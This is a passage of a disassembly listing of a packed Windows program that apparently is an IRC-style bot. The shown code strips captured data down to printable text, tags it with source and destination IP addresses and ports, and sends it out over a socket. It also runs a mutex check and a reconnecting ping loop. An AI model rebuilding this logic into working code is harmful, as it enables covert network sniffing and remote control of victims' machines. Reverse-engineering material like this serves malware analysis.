		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	3Eh


loc_4163F7:				; CODE XREF: sub_415F69+480j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Eh


loc_416413:				; CODE XREF: sub_415F69+49Cj
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------


loc_416415:				; CODE XREF: sub_415F69+452j
		and	[ebp+var_19B8],	0
		mov	eax, [ebp+var_19B8]
		mov	[ebp+var_17AC],	eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------


loc_41642A:				; CODE XREF: sub_415F69+507j
					; sub_415F69+51Aj ...
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_416437:				; CODE XREF: sub_415F69+4BFj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: sub_415F69+4DCj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416472:				; CODE XREF: sub_415F69+505j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416485:				; CODE XREF: sub_415F69+518j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_17AC]
		inc	eax
		mov	[ebp+var_17AC],	eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_4164AA:				; CODE XREF: sub_415F69+4F4j
		cmp	[ebp+var_17AC],	0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: sub_415F69+548j
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+0Ch]
		call	ds:dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+10h]
		call	ds:dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_1628]
		mov	ax, [eax+2]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		push	offset dword_41DA58
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	[ebp+var_18B4],	eax
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+var_18B4]
		lea	eax, [ebp+eax+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------


loc_4165AD:				; CODE XREF: sub_415F69+63Dj
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		dec	eax
		mov	[ebp+var_17B0],	eax


loc_4165BF:				; CODE XREF: sub_415F69+6C7j
		mov	eax, [ebp+var_17B0]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416632
		push	180h
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17B0]
		push	eax
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: sub_415F69+6B2j
		mov	eax, [ebp+var_17B0]
		add	eax, 17Fh
		mov	[ebp+var_17B0],	eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------


loc_416632:				; CODE XREF: sub_415F69+35Bj
					; sub_415F69+42Aj ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416637:				; CODE XREF: sub_415F69+2A9j
					; sub_415F69:loc_416229j ...
		push	[ebp+var_104C]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_416653:				; CODE XREF: sub_415F69+6B4j
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416655:				; CODE XREF: sub_415F69+63Fj
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_415F69+70j
					; sub_415F69+BDj ...
		pop	edi
		leave
		retn	4
sub_415F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------


loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------


loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3


loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DF00


loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41DAC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------


loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------


loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	ds:dword_4170AC	; DeleteFileA
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------


loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax


loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------


loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax


loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp

; ---------------------------------------------------------------------------


loc_4167F1:				; CODE XREF: UPX1:00421BF8j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2
		call	ds:dword_4170F4	; SetErrorMode
		and	dword ptr [ebp-4], 0
		push	ds:dword_41DB04
		push	ds:dword_41DB00
		push	3B7h
		push	ds:dword_41DAFC
		push	0
		push	ds:dword_41DAF8
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp-115Ch]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 20h
		and	dword ptr [ebp-1128h], 0
		jmp	short loc_416875
; ---------------------------------------------------------------------------


loc_416868:				; CODE XREF: UPX0:loc_4168BAj
		mov	eax, [ebp-1128h]
		inc	eax
		mov	[ebp-1128h], eax


loc_416875:				; CODE XREF: UPX0:00416866j
		cmp	dword ptr [ebp-1128h], 0Ah
		jnz	short loc_416883
		call	sub_407148


loc_416883:				; CODE XREF: UPX0:0041687Cj
		push	3E8h
		call	ds:dword_41709C	; Sleep
		lea	eax, [ebp-115Ch]
		push	eax
		push	0
		push	0
		call	ds:dword_4170F8	; CreateMutexA
		mov	[ebp-12F0h], eax
		cmp	dword ptr [ebp-12F0h], 0
		jz	short loc_4168BA
		call	ds:dword_417064	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168BA:				; CODE XREF: UPX0:004168ACj
					; UPX0:004168B6j
		jmp	short loc_416868
; ---------------------------------------------------------------------------


loc_4168BC:				; CODE XREF: UPX0:004168B8j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DAF8
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DAF8
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DAF8
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	ds:dword_41ED00, eax
		call	sub_410422
		mov	ds:dword_41ED04, eax
		call	sub_410422
		mov	ds:dword_41ED08, eax
		call	sub_410422
		mov	ds:dword_41ED0C, eax
		push	104h
		lea	eax, [ebp-1120h]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DF00
		push	offset dword_41EBFC
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: UPX0:00416949j
		lea	eax, [ebp-1120h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-12F4h], eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------


loc_416976:				; CODE XREF: UPX0:loc_4169DFj
		mov	eax, [ebp-12F4h]
		dec	eax
		mov	[ebp-12F4h], eax


loc_416983:				; CODE XREF: UPX0:00416974j
		cmp	dword ptr [ebp-12F4h], 0
		jnz	short loc_41699F
		push	offset byte_41DF00
		push	offset dword_41EBFC
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_41699F:				; CODE XREF: UPX0:0041698Aj
		mov	eax, [ebp-12F4h]
		movsx	eax, byte ptr [ebp+eax-1121h]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp-12F4h]
		lea	eax, [ebp+eax-1120h]
		push	eax
		push	offset dword_41EBFC
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41EBFC
		push	offset dword_41ED10
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: UPX0:004169B0j
		jmp	short loc_416976
; ---------------------------------------------------------------------------


loc_4169E1:				; CODE XREF: UPX0:0041695Cj
					; UPX0:0041699Dj ...
		call	sub_406E8E
		lea	eax, [ebp-12ECh]
		push	eax
		push	202h
		call	ds:dword_417264	; WSAStartup


loc_4169F8:				; CODE XREF: UPX0:00416A43j
					; UPX0:00416AA7j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	dword ptr [ebp-101Ch], 0


loc_416A19:				; CODE XREF: UPX0:00416AE2j
		mov	dword ptr [ebp-4], 1


loc_416A20:				; CODE XREF: UPX0:loc_416A6Fj
					; UPX0:00416AC0j
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	dword ptr [ebp-101Ch], 19h
		jnz	short loc_416A45
		and	dword ptr [ebp-4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------


loc_416A45:				; CODE XREF: UPX0:00416A3Dj
		cmp	dword ptr [ebp-101Ch], 14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
; ---------------------------------------------------------------------------


loc_416A62:				; CODE XREF: UPX0:00416A4Cj
		mov	eax, [ebp-101Ch]
		inc	eax
		mov	[ebp-101Ch], eax


loc_416A6F:				; CODE XREF: UPX0:00416A60j
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_416A71:				; CODE XREF: UPX0:00416A34j
		push	1000h
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC


loc_416AA3:				; CODE XREF: UPX0:00416A98j
		and	dword ptr [ebp-4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------


loc_416AAC:				; CODE XREF: UPX0:00416AA1j
		and	dword ptr [ebp-101Ch], 0
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_416AC5:				; DATA XREF: UPX1:004172A8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_416ADB:				; DATA XREF: UPX1:004172ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
		jmp	loc_416A19
; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	ds:dword_41DF08, 0
		jz	short loc_416B1E
		push	offset dword_41DE2C
		push	offset dword_41DB88
		call	sub_40D4AB
		pop	ecx
		pop	ecx


loc_416B1E:				; CODE XREF: UPX0:00416B0Bj
		call	ds:dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; sub_4020C2+62p ...
		jmp	ds:dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	ds:dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: sub_401244+85p
					; sub_4017AA+22p ...
		jmp	ds:dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: sub_401244+25p
					; sub_401244+4DEp ...
		jmp	ds:dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: sub_401244+1Ap
					; sub_401981+18p ...
		jmp	ds:dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	ds:dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; sub_4055E5+231p ...
		jmp	ds:dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	ds:dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: sub_401981+145p
					; sub_401981+158p ...
		jmp	ds:dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	ds:dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: sub_401E38+1ABp
					; sub_4020C2+1A6p ...
		jmp	ds:dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: sub_401E38+179p
					; sub_402698+24Cp ...
		jmp	ds:dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: sub_401E38+9Dp
					; sub_401E38+262p ...
		jmp	ds:dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: sub_401E38+42p
					; sub_4020C2+159p ...
		jmp	ds:dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: sub_4020C2+2C1p
					; sub_41102F+94p ...
		jmp	ds:dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: sub_4020C2+198p
					; sub_4020C2+1BCp ...
		jmp	ds:dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	ds:dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	ds:dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	ds:dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; sub_4083AD+3DFp ...
		jmp	ds:dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BC0	proc near		; CODE XREF: sub_403DF3+8p
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0


loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC


loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	ds:dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	ds:dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
					; UPX0:00416B26p
		jmp	ds:dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72


loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------


loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF


loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi


loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi


loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
		jmp	ds:dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	ds:dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


